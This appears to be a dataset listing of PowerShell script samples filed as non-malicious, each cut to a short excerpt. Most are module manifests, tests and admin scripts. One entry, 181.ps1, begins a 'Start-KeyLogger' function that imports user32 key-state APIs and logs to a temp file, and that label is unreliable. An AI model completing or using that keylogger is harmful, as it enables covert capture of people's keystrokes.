full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
combined_dataset/train/non-malicious/sample_21_83.ps1
sample_21_83.ps1
# # Module manifest for module 'OCI.PSModules.Globallydistributeddatabase' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Globallydistributeddatabase.dll' # Version number of this module. ModuleVersion =...
combined_dataset/train/non-malicious/Draw with PowerShell.ps1
Draw with PowerShell.ps1
Add-Type -Assembly PresentationFramework [xml]$xaml = @' <Window xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" Width="423" Height="370" ResizeMode="NoResize" WindowStartupLocation="CenterScreen" Title="Butt...
combined_dataset/train/non-malicious/sample_43_36.ps1
sample_43_36.ps1
<# .SYNOPSIS Flips the flow of a preview/rc between public flow and internal flow. Internal subscriptions and default channel must exist (see create-preview-flow.ps1) .PARAMETER RuntimeChannel Public runtime channel .PARAMETER SdkChannel Public sdk channel .PARAMETER InternalRuntimeChannel Internal runtime channel ...
combined_dataset/train/non-malicious/ConvertTo-PseudoType_1.ps1
ConvertTo-PseudoType_1.ps1
function ConvertTo-PseudoType { <# .Synopsis Converts objects to custom PSObjects with robust type support .Parameter TypeName The name(s) of the PseudoType(s) to be inserted into the objects for the sake of formatting .Parameter Mapping A Hashtable of property names to types (or conversion scripts) .P...
combined_dataset/train/non-malicious/Out-Working.ps1
Out-Working.ps1
## You'll want to dot-source this into your script ## To change colors, specify the parameters: ## . Scripts\\OutWorkingScript.ps1 "Yellow" "Blue" ## ## Then you can show progress like this: ## ## $x = 1..50 | out-working 50 ## ## Notice that the $wait parameter is only needed if there will not ## be enough...
combined_dataset/train/non-malicious/sample_35_59.ps1
sample_35_59.ps1
# Copyright (C) Intel Corporation, 2007 - 2019 All Rights Reserved. Function Stop-AMTIDER { <# .Synopsis Stops a specifed Intel Active Management Technology IDE redirection session .Description Stops a specifed Intel Active Management Technology (AMT) IDE redirection (IDER) session. .Notes ...
combined_dataset/train/non-malicious/sample_66_40.ps1
sample_66_40.ps1
#requires -Version 5.0 enum BcArtifactSource { OnPrem Sandbox Insider } #Import-Module (Join-Path $PSScriptRoot ClientContext\ClientContext.psd1) #Import-Module (Join-Path $PSScriptRoot ClientContext\ClientContext.psm1) #. "$PSScriptRoot\ClientContext\ClientContextLibLoader.ps1" -BcLibVersion (G...
combined_dataset/train/non-malicious/sample_67_52.ps1
sample_67_52.ps1
# # Module manifest for module 'OCI.PSModules.Desktops' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Desktops.dll' # Version number of this module. ModuleVersion = '86.2.0' # Supported PSEditions Comp...
combined_dataset/train/non-malicious/sample_50_50.ps1
sample_50_50.ps1
#=========================================================================== #DVInstaller.ps1 #---------------------------------------------------------------------------- #Copyright (C) 2021 Intel Corporation #SPDX-License-Identifier: MIT #--------------------------------------------------------------------------*/ #...
combined_dataset/train/non-malicious/2043.ps1
2043.ps1
Describe 'Group policy settings tests' -Tag CI,RequireAdminOnWindows { BeforeAll { $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() if ( ! $IsWindows ) { $PSDefaultParameterValues["it:skip"] = $true } else { [System.Management.Automation....
combined_dataset/train/non-malicious/181.ps1
181.ps1
function Start-KeyLogger($Path = "$env:temp\keylogger.txt") { $signatures = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keyst...
combined_dataset/train/non-malicious/Set-IPAddress_1.ps1
Set-IPAddress_1.ps1
function Set-IPAddress { param( [string]$networkinterface =$(read-host "Enter the name of the NIC (ie Local Area Connection)"), [string]$ip = $(read-host "Enter an IP Address (ie 10.10.10.10)"), [string]$mask = $(read-host "Enter the subnet mask (ie 255.255.255.0)"), [string]$gateway = $(read-host "E...
combined_dataset/train/non-malicious/3381.ps1
3381.ps1
param( [Parameter(Mandatory = $false)] [string] $BuildConfig = "Debug", [Parameter(Mandatory = $false)] [string] $OutputFile = "$PSScriptRoot/outputtypes.json" ) $psd1Files = Get-Childitem $PSScriptRoot\..\artifacts\$BuildConfig -Recurse | where {$_.Name -like "*.psd1" } $profilePsd1 = $psd1Files | W...
combined_dataset/train/non-malicious/sample_18_9.ps1
sample_18_9.ps1
@{ GUID = "A94C8C7E-9810-47C0-B8AF-65089C13A35A" Author = "PowerShell" CompanyName = "Microsoft Corporation" Copyright = "Copyright (c) Microsoft Corporation." ModuleVersion = "7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion = "3.0" FunctionsToExport = @() CmdletsToExport = "Get-Acl", "Set-Acl", "G...
combined_dataset/train/non-malicious/sample_63_99.ps1
sample_63_99.ps1
# # Module manifest for module 'OCI.PSModules.Waa' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Waa.dll' # Version number of this module. ModuleVersion = '84.0.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/ScheduleGPOBackups_1.ps1
ScheduleGPOBackups_1.ps1
Import-Module grouppolicy #region ConfigBlock # What domain are we going to backup GPOs for? $domain = "mydomain.com" # Where are we going to store the backups? $gpoBackupRootDir = "c:\\gpoBackups" # As I plan to do a new backup set each month I'll setup the directory names to reflect # the year and month in a n...
combined_dataset/train/non-malicious/sample_56_63.ps1
sample_56_63.ps1
param( [parameter(Mandatory = $false)] $databaseName, [parameter(Mandatory = $false)] $databaseUserName, [parameter(Mandatory = $false)] $databaseUserPassword, [parameter(Mandatory = $true)] $databaseAdminUser, [parameter(Mandatory = $true)] $databaseAdminPasswo...
combined_dataset/train/non-malicious/sample_43_73.ps1
sample_43_73.ps1
Mount-WimWIM ファイルからイメージをマウントします。Ȝ /Mount-Wim /WimFile:<WIM ファイルへのパス> {/Index:<イメージ インデックス> | /Name:<イメージ名>} /MountDir:<ターゲット マウント ディレクトリ> [/ReadOnly] [/EA] 指定されたディレクトリに WIM ファイルをマウントし、サービスを利用できる ようにします。 /ReadOnly を指定すると、マウントされたイメージに読み取り専用アクセス許可が設定されます。 /EA を指定すると、拡張属性が共にマウントされます。 複数の画像を持つファイルには、/Index ...
combined_dataset/train/non-malicious/sample_9_36.ps1
sample_9_36.ps1
#************************************************ # DC_HyperVReplica.ps1 # Version 1.0 - 7/24/14 # Author: jasonf #******************************************************* Trap [Exception] { $Script:ExceptionMessage = $_ "[info]: Exception occurred." | WriteTo-StdOut "[info]: Exception.Message $E...
combined_dataset/train/non-malicious/sample_31_61.ps1
sample_31_61.ps1
# # Module manifest for module 'OCI.PSModules.Datalabelingservice' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Datalabelingservice.dll' # Version number of this module. ModuleVersion = '81.0.0' # Sup...
combined_dataset/train/non-malicious/sample_14_68.ps1
sample_14_68.ps1
$url = 'https://dl.google.com/tag/s/dl/chrome/install/googlechromestandaloneenterprise.msi'; if ([Environment]::Is64BitProcess) { $url = 'https://dl.google.com/tag/s/dl/chrome/install/googlechromestandaloneenterprise64.msi' } $wc = New-Object net.webclient $msiInstaller = "$env:temp\google-chrome.msi" Write-Host ...
combined_dataset/train/non-malicious/Quest Dynamic Group 002.ps1
Quest Dynamic Group 002.ps1
<# 2012.07.06 Information will be uploaded shortly. #>
combined_dataset/train/non-malicious/sample_36_61.ps1
sample_36_61.ps1
# # Module manifest for module 'OCI.PSModules.Limits' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Limits.dll' # Version number of this module. ModuleVersion = '80.0.0' # Supported PSEditions Compatib...
combined_dataset/train/non-malicious/1062.ps1
1062.ps1
& (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) function Init { } function GivenGroup { param( $Name, $WithMember ) GivenUser -UserName $WithMember $WithMember = $WithMember | ForEach-Object { Resolve-IdentityName -Name $_ } Install-...
combined_dataset/train/non-malicious/sample_54_12.ps1
sample_54_12.ps1
@{ GUID="CA046F10-CA64-4740-8FF9-2565DBA61A4F" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" FunctionsToExport = @() CmdletsToExport="Get-WinEvent", "New-WinEvent", "Get-C...
combined_dataset/train/non-malicious/ConvertTo-Hex_5.ps1
ConvertTo-Hex_5.ps1
# Ported from C# technique found here: http://forums.asp.net/p/1298956/2529558.aspx param ( [string]$SidString ) # Create SID .NET object using SID string provided $sid = New-Object system.Security.Principal.SecurityIdentifier $sidstring # Create a byte array of the proper length $sidBytes = New-Object byte[] ...
combined_dataset/train/non-malicious/sample_48_56.ps1
sample_48_56.ps1
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apa...
combined_dataset/train/non-malicious/4303.ps1
4303.ps1
function SuiteSetup { Import-Module "$PSScriptRoot\PSGetTestUtils.psm1" -WarningAction SilentlyContinue Import-Module "$PSScriptRoot\Asserts.psm1" -WarningAction SilentlyContinue $script:ProgramFilesScriptsPath = Get-AllUsersScriptsPath $script:MyDocumentsScriptsPath = Get-CurrentUserScriptsPath ...
combined_dataset/train/non-malicious/sample_59_49.ps1
sample_59_49.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ param ( [Parameter(Mand...
combined_dataset/train/non-malicious/sample_53_43.ps1
sample_53_43.ps1
#======================================================================================================================================================================= # Copyright (c) Microsoft Corporation. All rights reserved. # # Description: # # Azure File Sync: List per item sync errors # # Version 2.4...
combined_dataset/train/non-malicious/3265.ps1
3265.ps1
class PluginCommand { [Plugin]$Plugin [Command]$Command PluginCommand([Plugin]$Plugin, [Command]$Command) { $this.Plugin = $Plugin $this.Command = $Command } [string]ToString() { return "$($this.Plugin.Name):$($this.Command.Name):$($this.Plugin.Version.ToString())" } }...
combined_dataset/train/non-malicious/3031.ps1
3031.ps1
function Should-FileContentMatchExactly($ActualValue, $ExpectedContent, [switch] $Negate, [String] $Because) { $succeeded = (@(& $SafeCommands['Get-Content'] -Encoding UTF8 $ActualValue) -cmatch $ExpectedContent).Count -gt 0 if ($Negate) { $succeeded = -not $succeeded } $failureMessage = ...
combined_dataset/train/non-malicious/Sweet Child O' Mine.ps1
Sweet Child O' Mine.ps1
#First Stanza [System.Console]::Beep(587.3,200) [System.Console]::Beep(1174.7,200) [System.Console]::Beep(880,200) [System.Console]::Beep(784,200) [System.Console]::Beep(1568,200) [System.Console]::Beep(880,200) [System.Console]::Beep(1480,200) [System.Console]::Beep(880,200)...
combined_dataset/train/non-malicious/Get MOSS User Profile.ps1
Get MOSS User Profile.ps1
function Get-UserProfile($accountName) { [reflection.assembly]::LoadWithPartialName("Microsoft.SharePoint") | out-null [reflection.assembly]::LoadWithPartialName("Microsoft.Office.Server") | out-null $upm =[Microsoft.Office.Server.UserProfiles.UserProfileManager]( [Microsoft.Office.Server.ServerContext]::D...
combined_dataset/train/non-malicious/sample_63_88.ps1
sample_63_88.ps1
# Localized 07/02/2024 06:19 PM (GMT) 303:7.1.41104 Add-AppDevPackage.psd1 # Culture = "en-US" ConvertFrom-StringData @' ###PSLOC PromptYesString=是(&Y) PromptNoString=否(&N) BundleFound=找到下列資源存放區: {0} PackageFound=找到封裝: {0} EncryptedBundleFound=找到加密的套件組合: {0} EncryptedPackageFound=找到加密的套件: {0} CertificateFou...
combined_dataset/train/non-malicious/sample_4_59.ps1
sample_4_59.ps1
# 2023-02-24 WalterE mod Trap #we# $startTime_AutoAdd = Get-Date trap [Exception]{ WriteTo-StdOut "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_" -shortformat; continue Write-Host "$($_.InvocationInfo.ScriptName)($($_.InvocationInfo.ScriptLineNumber)): $_" } Write-Host -Background...
combined_dataset/train/non-malicious/DEMO_ Trap Ctrl+C.ps1
DEMO_ Trap Ctrl+C.ps1
function Trap-CtrlC { ## Stops Ctrl+C from exiting this function [console]::TreatControlCAsInput = $true ## And you have to check every keystroke to see if it's a Ctrl+C ## As far as I can tell, for CtrlC the VirtualKeyCode will be 67 and ## The ControlKeyState will include either "LeftCtrlPressed"...
combined_dataset/train/non-malicious/Test-Port_5.ps1
Test-Port_5.ps1
Param([string]$srv,$port=135,$timeout=3000,[switch]$verbose) # Test-Port.ps1 # Does a TCP connection on specified port (135 by default) $ErrorActionPreference = "SilentlyContinue" # Create TCP Client $tcpclient = new-Object system.Net.Sockets.TcpClient # Tell TCP Client to connect to machine on Port ...
combined_dataset/train/non-malicious/2048.ps1
2048.ps1
Describe "Built-in type information tests" -Tag "CI" { BeforeAll { $iss = [initialsessionstate]::CreateDefault2() $rs = [runspacefactory]::CreateRunspace($iss) $rs.Open() $ps = [powershell]::Create() $ps.Runspace = $rs $types = $ps.AddCommand("Get-TypeData").Invok...
combined_dataset/train/non-malicious/sample_27_66.ps1
sample_27_66.ps1
# ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Licen...
combined_dataset/train/non-malicious/sample_19_75.ps1
sample_19_75.ps1
ConvertFrom-StringData @' id_iscsiinfo=iSCSI Information id_iscsiinfoobtaining=Obtaining information about iSCSI id_iscsiinfosection=iSCSI Information id_iscsiinfooutput=iSCSI Information file '@ # SIG # Begin signature block # MIIoRQYJKoZIhvcNAQcCoIIoNjCCKDICAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGs...
combined_dataset/train/non-malicious/3554.ps1
3554.ps1
$location = "westus" $resourceGroupName = "pstestwlRG1bca8" $vaultName = "pstestwlRSV1bca8" $newPolicyName = "testSqlPolicy" function Test-AzureVmWorkloadPolicy { $vault = Get-AzRecoveryServicesVault -ResourceGroupName $resourceGroupName -Name $vaultName $schedulePolicy = Get-AzRecoveryServicesBac...
combined_dataset/train/non-malicious/769.ps1
769.ps1
$ErrorActionPreference = "SilentlyContinue" if ((Get-Process -Name "Code").Count -gt 0) { Write-Warning "Visual Studio Code is currently running. You must close all VS Code windows before continuing." } else { $ErrorActionPreference = "Stop" $destPath = "$env:USERPROFILE\.vscode\extensions\vscode-powershell\"...
combined_dataset/train/non-malicious/sample_0_94.ps1
sample_0_94.ps1
ConvertFrom-StringData @' id_sepprocesshandleleak_sd=A specific version of Symantec Endpoint Protection (SEP) known for causing handle leaks was detected in this machine. '@ # SIG # Begin signature block # MIIoOQYJKoZIhvcNAQcCoIIoKjCCKCYCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYC...
combined_dataset/train/non-malicious/3548.ps1
3548.ps1
function Test-AzureVMGetJobs { $location = Get-ResourceGroupLocation $resourceGroupName = Create-ResourceGroup $location try { $vm1 = Create-VM $resourceGroupName $location 1 $vault = Create-RecoveryServicesVault $resourceGroupName $location Enable-Protection $vault $vm1 $startDate1 ...
combined_dataset/train/non-malicious/sample_18_95.ps1
sample_18_95.ps1
ConvertFrom-StringData @' id_bootinfo=Boot Information id_bootinformation=Collecting Boot Information '@ # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFl...
combined_dataset/train/non-malicious/1212.ps1
1212.ps1
Set-StrictMode -Version 'Latest' & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) $tempDir = $null $privateKeyPassword = (New-Credential -User 'doesn''t matter' -Password 'fubarsnafu').Password $subject = $null $publicKeyPath = $null $privateKeyPath = $null Describe 'New-...
combined_dataset/train/non-malicious/sample_50_33.ps1
sample_50_33.ps1
--- parameters: - name: version type: string default: '' - name: version_prefix type: string default: '' - name: draft type: boolean default: false - name: working_directory type: string default: $(Build.SourcesDirectory) - name: gh_token type: string - name: repo type: string default: $(Buil...
combined_dataset/train/non-malicious/sample_48_17.ps1
sample_48_17.ps1
# ---------------------------------------------------------------------------------- # # Copyright Microsoft Corporation # Licensed under the Apache License, Version 2.0 (the \"License\"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.a...
combined_dataset/train/non-malicious/chkhash_31.ps1
chkhash_31.ps1
# calculate SHA512 of file. function Get-SHA512([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]')) { $stream = $null; $cryptoServiceProvider = [System.Security.Cryptography.SHA512CryptoServiceProvider]; $hashAlgorithm = new-object $cryptoServiceProvider $stream = $file.Open...
combined_dataset/train/non-malicious/sample_48_29.ps1
sample_48_29.ps1
# # Module manifest for module 'OCI.PSModules.Databasetools' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Databasetools.dll' # Version number of this module. ModuleVersion = '82.0.0' # Supported PSEdi...
combined_dataset/train/non-malicious/sample_46_67.ps1
sample_46_67.ps1
# region Generated # ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obt...
combined_dataset/train/non-malicious/sample_11_44.ps1
sample_11_44.ps1
ConvertFrom-StringData @' id_ctssmb2serverdriverstatecheck=Check if the SMB2 Server driver has been disabled. id_ctssmb2serverdriverstatecheckdescription=Check if the SMB2 Server driver (srv2) has been disabled. '@ # SIG # Begin signature block # MIIoKgYJKoZIhvcNAQcCoIIoGzCCKBcCAQExDzANBglghkgBZQMEAgEFADB5Bgor ...
combined_dataset/train/non-malicious/Import-Delimited 2.4.ps1
Import-Delimited 2.4.ps1
################################################################################ ## Convert-Delimiter - A function to convert between different delimiters. ## E.g.: commas to tabs, tabs to spaces, spaces to commas, etc. ################################################################################ ## Written pri...
combined_dataset/train/non-malicious/sample_2_94.ps1
sample_2_94.ps1
$MSComputerName = ($env:COMPUTERNAME) $OMPSInstallKey = "HKLM:\Software\Microsoft\System Center Operations Manager\12\Setup\Powershell\V2" $regKey = get-item $OMPSInstallKey $OMPSInstallPath = $regKey.GetValue("InstallDirectory") $omModule = $OMPSInstallPath + "OperationsManager" Import-Module -Name $omModule Imp...
combined_dataset/train/non-malicious/sample_33_93.ps1
sample_33_93.ps1
@{ GUID="{Fb6cc51d-c096-4b38-b78d-0fed6277096a}" Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" RootModule="Microsoft.Management.Infrastructure.CimCmdlets" RequiredAssembli...
combined_dataset/train/non-malicious/bb6a122a-f80d-4233-b795-beee3a70c3c0.ps1
bb6a122a-f80d-4233-b795-beee3a70c3c0.ps1
#################################################################################################### ## Script Name: N++CR FuncGuard Module ## Created On: 12/19/2009 ## Author: Thell Fowler ## File: FuncGuard.psm1 ## Usage: ## Version: 0.0.1 ## Purpose: Pro...
combined_dataset/train/non-malicious/demo-attributes.ps1
demo-attributes.ps1
function demo-attributes { [System.Configuration.SettingsDescription({ @{something = 1; this = 'that'; array = (1,2,3); sub = @{ sub1 = 1 ; sub2 =2 } }})] [CmdletBinding(DefaultParameterSetName="noname")] param ( [Parameter(Position=1,mandatory = $true)] [string]$somethin...
combined_dataset/train/non-malicious/sample_66_5.ps1
sample_66_5.ps1
<# .Synopsis Activate a Python virtual environment for the current PowerShell session. .Description Pushes the python executable for a virtual environment to the front of the $Env:PATH environment variable and sets the prompt to signify that you are in a Python virtual environment. Makes use of the command line...
combined_dataset/train/non-malicious/Get-WebFile 3.0.ps1
Get-WebFile 3.0.ps1
## Get-WebFile.ps1 (aka wget for PowerShell) ############################################################################################################## ## Downloads a file or page from the web ## History: ## v3 - rewritten completely using HttpWebRequest + HttpWebResponse to figure out the file name, if possibl...
combined_dataset/train/non-malicious/1349.ps1
1349.ps1
function Set-CIisHttpHeader { [CmdletBinding(SupportsShouldProcess=$true)] param( [Parameter(Mandatory=$true)] [string] $SiteName, [Alias('Path')] [string] $VirtualPath = '', [Parameter(Mandatory=$true)] [s...
combined_dataset/train/non-malicious/3677.ps1
3677.ps1
function Test-GetUpgradeDatabaseHint { $response = Get-AzSqlDatabaseUpgradeHint -ResourceGroupName TestRg -ServerName test-srv-v1 -DatabaseName * Assert-NotNull $response Assert-AreEqual 1 $response.Count Assert-AreEqual test-db-v1 $response[0].Name Assert-AreEqual Premium $response[0...
combined_dataset/train/non-malicious/3922.ps1
3922.ps1
function Test-ListEnrollmentAccounts { $enrollmentAccounts = Get-AzEnrollmentAccount Assert-True {$enrollmentAccounts.Count -ge 1} Assert-NotNull $enrollmentAccounts[0].ObjectId Assert-NotNull $enrollmentAccounts[0].PrincipalName } function Test-GetEnrollmentAccountWithName { $enr...
combined_dataset/train/non-malicious/sample_5_90.ps1
sample_5_90.ps1
ConvertFrom-StringData @' id_setupapilogs=Setup API Logs id_setupapilogsobtaining=Obtaining SetupAPI.*.Log id_setupapilogsoutput=SetupAPI Log id_setupapilogsoutputdesc=Device Drivers Instalation Logs '@ # SIG # Begin signature block # MIIoRgYJKoZIhvcNAQcCoIIoNzCCKDMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3...
combined_dataset/train/non-malicious/234.ps1
234.ps1
function Remove-PSObjectEmptyOrNullProperty { PARAM ( $PSObject) PROCESS { $PsObject.psobject.Properties | Where-Object { -not $_.value } | ForEach-Object { $PsObject.psobject.Properties.Remove($_.name) } } }
combined_dataset/train/non-malicious/902.ps1
902.ps1
$Random=(New-Guid).ToString().Substring(0,8) $ResourceGroup="MyResourceGroup$Random" $AppName="webappwithSQL$Random" $Location="West US" $ServerName="webappwithsql$Random" $StartIP="0.0.0.0" $EndIP="0.0.0.0" $Username="ServerAdmin" $Password="<provide-a-password>" $SqlServerPassword=New-Object -TypeName System.Mana...
combined_dataset/train/non-malicious/sample_56_32.ps1
sample_56_32.ps1
function Update-AzFunctionAppPlan { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Functions.Models.Api20231201.IAppServicePlan])] [Microsoft.Azure.PowerShell.Cmdlets.Functions.Description('Updates a function app service plan.')] [CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$tr...
combined_dataset/train/non-malicious/869.ps1
869.ps1
function Start-MahoutJob { $ErrorActionPreference = "Stop" $context = Get-AzContext if ($context -eq $null) { Connect-AzAccount } $context $clusterName = Read-Host -Prompt "Enter the HDInsight cluster name" $creds=Get-Credential -UserName "admin"...
combined_dataset/train/non-malicious/Xml Module 3.1.ps1
Xml Module 3.1.ps1
#requires -version 2.0 # Improves over the built-in Select-XML by leveraging Remove-XmlNamespace http://poshcode.org/1492 # to provide a -RemoveNamespace parameter -- if it's supplied, all of the namespace declarations # and prefixes are removed from all XML nodes (by an XSL transform) before searching. # IMPO...
combined_dataset/train/non-malicious/3672.ps1
3672.ps1
function Test-ManagedLiveDatabaseShortTermRetentionPolicy { $rg = Create-ResourceGroupForTest $vnetName = "cl_initial" $subnetName = "Cool" $virtualNetwork1 = CreateAndGetVirtualNetworkForManagedInstance $vnetName $subnetName $rg.Location $subnetId = $virtualNetwork1.Subnets.where({ $_.Name -eq...
combined_dataset/train/non-malicious/490.ps1
490.ps1
function Mount-Dir{ param( [parameter(Mandatory=$true)] [string[]] $Paths ) $Metadata = @{ Title = "Mount Directory" Filename = "Mount-Dir.ps1" Description = "" Tags = "powershell, function, mount, subst" Project = "" Author = "Janik von Rotz" AuthorContact...
combined_dataset/train/non-malicious/3559.ps1
3559.ps1
$JobQueryWaitTimeInSeconds = 0 $ResourceGroupName = "E2ERg" $VaultName = "E2ETest" $FabricNameToBeCreated = "ReleaseFabric" $PrimaryFabricName = "IDCLAB-A137.ntdev.corp.microsoft.com" $RecoveryFabricName = "IDCLAB-A147.ntdev.corp.microsoft.com" $PolicyName = "E2APolicy1" $PrimaryProtectionContainerName ...
combined_dataset/train/non-malicious/2246.ps1
2246.ps1
Begin { try { $TSEnvironment = New-Object -ComObject Microsoft.SMS.TSEnvironment -ErrorAction Stop } catch [System.Exception] { Write-Warning -Message "Unable to construct Microsoft.SMS.TSEnvironment object" ; exit 1 } } Process { function Write-CMLogEntry { param( ...
combined_dataset/train/non-malicious/920.ps1
920.ps1
$subscriptionId = 'yourSubscriptionId' $resourceGroupName ='yourResourceGroupName' $snapshotName = 'yourSnapshotName' $diskName = 'yourManagedDiskName' $diskSize = '128' $storageType = 'Premium_LRS' $location = 'westus' Select-AzSubscription -SubscriptionId $SubscriptionId $snapshot = Get-AzSnapshot ...
combined_dataset/train/non-malicious/277.ps1
277.ps1
Function Get-HashTableNotEmptyOrNullValue { PARAM([System.Collections.Hashtable]$HashTable) $HashTable.GetEnumerator().name | ForEach-Object -Process { if($HashTable[$_] -ne "") { Write-Output $_ } } }
combined_dataset/train/non-malicious/sample_39_79.ps1
sample_39_79.ps1
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. ##################################################################################################### # # Registers the WinRM endpoint for this instance of PowerShell. # # If the parameters '-PowerShellHome' were specified, it means that t...
combined_dataset/train/non-malicious/Copy-Item extended.ps1
Copy-Item extended.ps1
function Copy-ToCreateFolder { param( [string]$src, [string]$dest, $exclude, [switch]$Recurse ) # The promlem with Copy-Item -Rec -Exclude is that -exclude effects only top-level files # Copy-Item $src $dest -Exclude $exclude -EA silentlycontinue -...
combined_dataset/train/non-malicious/2959.ps1
2959.ps1
properties { $my_property = $p1 + $p2 } task default -depends TestParams task TestParams { Assert ($my_property -ne $null) "`$my_property should not be null. Run with -parameters @{'p1' = 'v1'; 'p2' = 'v2'}" }
combined_dataset/train/non-malicious/Get-EasterEastern.ps1
Get-EasterEastern.ps1
function Get-EasterEastern { Param( [Parameter(Mandatory=$true)] [int] $Year ) $a = $Year % 4 $b = $Year % 7 $c = $Year % 19 $d = ((19 * $c) + 15) % 30 $e1 = -$d #here because powershell is picking up - (subtraction operator) as incorrect toekn $e = ((2 * $a) + (4 * $b) + ...
combined_dataset/train/non-malicious/2137.ps1
2137.ps1
$baseTypes = @{ [SByte] = 'sbyte'; [Byte] = 'byte' [Int16] = 'short'; [UInt16] = 'ushort' [Int32] = 'int'; [UInt32] = 'uint' [Int64] = 'long'; [UInt64] = 'ulong' } $ns = [Guid]::NewGuid() -replace '-','' $typeDefinition = "namespace ns_$ns`n{" $enumTypeNames = foreach ($baseType...
combined_dataset/train/non-malicious/sample_1_20.ps1
sample_1_20.ps1
#************************************************ # DC_RDSHelper.ps1 # Version 1.0.1 # Date: 21-01-2012 # Author: Daniel Grund - dgrund@microsoft.com /#_# WalterE # Description: # RDS helper file # 1.0.0 Beta release # 1.0.1 Added advapi32 to get userrightsassigments #****************************************...
combined_dataset/train/non-malicious/sample_41_88.ps1
sample_41_88.ps1
#************************************************ # DC_NfsServer-Component.ps1 # Version 1.0.06.26.14: Created script. # Version 1.1.08.13.14: Updated comments. Added data collection for NIS registry value: "HKLM\system\CurrentControlSet\services\NisSvc". TFS264084 # Date: 2014 # Author: Boyd Benson (bbenson@micr...
combined_dataset/train/non-malicious/sample_63_3.ps1
sample_63_3.ps1
# Localized 06/27/2024 06:02 AM (GMT) 303:7.1.41104 Add-AppDevPackage.psd1 # Culture = "en-US" ConvertFrom-StringData @' ###PSLOC PromptYesString=&Evet PromptNoString=&Hayır BundleFound=Demet bulundu: {0} PackageFound=Paket bulundu: {0} EncryptedBundleFound=Şifreli demet bulundu: {0} EncryptedPackageFound=Şif...
combined_dataset/train/non-malicious/sample_31_30.ps1
sample_31_30.ps1
@{ GUID = 'A51E6D9E-BC14-41A7-98A8-888195641250' Author="Microsoft Corporation" CompanyName="Microsoft Corporation" Copyright="Copyright (C) Microsoft Corporation. All rights reserved." ModuleVersion = '1.0' NestedModules = @('MSFT_MpPerformanceRecording.psm1') FormatsToProcess = @(...
combined_dataset/train/non-malicious/sample_11_95.ps1
sample_11_95.ps1
# Rule ID: 3416 # # Rule checking to see if Power Plan of the server is set to High Performance # # Created: 7/19/2012 # Author: Jonathan Randall #****************************************************************************************************************** Import-LocalizedData -BindingVariable Localized...
combined_dataset/train/non-malicious/sample_27_35.ps1
sample_27_35.ps1
ConvertFrom-StringData @' IPAddressDisplayNameFormat=Dirección IP: {0} NetworkNameDisplayNameFormat=Nombre: {0} NetworkNameOfflineDisplayNameFormat=Dirección IP: dirección en "{0}" CreateClusterProgressValidationStart=Validando la idoneidad de los servidores para un clúster de conmutación por error. CreateClusterP...
combined_dataset/train/non-malicious/4342.ps1
4342.ps1
function Get-InstallationScope() { [CmdletBinding()] param( [Parameter(Mandatory=$true)] [string]$PreviousInstallLocation, [Parameter(Mandatory=$true)] [string]$CurrentUserPath ) if ( -not $PreviousInstallLocation.ToString().StartsWith($currentUserPath, [System.Stri...
combined_dataset/train/non-malicious/PowerShellServer Cmdlet _2.ps1
PowerShellServer Cmdlet _2.ps1
